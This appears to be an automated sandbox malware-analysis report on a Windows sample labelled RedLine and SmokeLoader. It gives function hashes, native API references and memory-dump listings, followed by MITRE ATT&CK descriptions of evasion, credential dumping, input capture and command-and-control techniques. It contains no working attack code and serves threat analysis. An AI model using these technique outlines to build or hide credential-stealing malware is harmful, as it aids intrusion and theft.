Opcode Fuzzy Hash: 11d323cf2510cbede53f210652b8fba91a7a1d6f7b67cd04feaa88f694a1dd2d
Instruction Fuzzy Hash: 76518CB4C04269DAEB21CF59C8806EEFBF4FF49754F10456EE855A7260E7399841CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B56DD82, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6B637B60,?,?,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?), ref: 6B56DED2
RtlLeaveCriticalSection.1105(6B637B60,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?), ref: 6B56DF06

Strings

`{ck, xrefs: 6B56DECC

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID: `{ck
API String ID: 3168844106-3598069530
Opcode ID: af23ce1a8789fc1332488ec477c5d2ff067b083d786ffb009f40bea2ce5cf21b
Instruction ID: 25109fd9ef6ee5912936012398df4fc25552a90ded9afcb48ea2292a26263db6
Opcode Fuzzy Hash: af23ce1a8789fc1332488ec477c5d2ff067b083d786ffb009f40bea2ce5cf21b
Instruction Fuzzy Hash: 68513A71945605DFE714CF29C580A85FBF1FF59354B24C9AED0198B3A2E735E882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B56FD1F, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

RtlAddRefActivationContext.1105(?,%*Vk,00000000,00000000,%*Vk,?,?,?,?), ref: 6B56FD5D

Strings

SsHd, xrefs: 6B5B489A
%*Vk, xrefs: 6B56FD30

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContext
String ID: %*Vk$SsHd
API String ID: 2448800588-2917011717
Opcode ID: fd4f43c3b36b27ac954aa972ee69916a45d713d81fa7fc68d9d4ece6301a3074
Instruction ID: f4262d3e378a5f60fa172e4121be47075f08aac37af1622f16cff0e4c9350674
Opcode Fuzzy Hash: fd4f43c3b36b27ac954aa972ee69916a45d713d81fa7fc68d9d4ece6301a3074
Instruction Fuzzy Hash: EE419D71B017459FF724CF58C491ADAB3F6AF89784B2485AEE809CB214F778E9518B80

Uniqueness

Uniqueness Score: -1.00%

Function 6B5CF2B7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_wcsicmp.1105(?,?,-00000054,-00000054,00000000), ref: 6B5CF2FB
DbgPrint.1105(AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports ,?,?,-00000054,-00000054,00000000), ref: 6B5CF323

Strings

AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports , xrefs: 6B5CF31E

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print_wcsicmp
String ID: AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
API String ID: 2655330621-555053354
Opcode ID: abe99c2d384943f317fa72353ad4e662d023a3cc5a1d1d8c4ae053e2ce71331d
Instruction ID: cdd83ee1985e28edc2bd5c1a244587c187837f33123e15cb6ce0935612cdeadc
Opcode Fuzzy Hash: abe99c2d384943f317fa72353ad4e662d023a3cc5a1d1d8c4ae053e2ce71331d
Instruction Fuzzy Hash: 84219032900308EBEB11CE94D980BDEBBB2FB81724F2541DCC8542B291C339AD45CB81

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Md0q201V1D.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Threatname: SmokeLoader

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre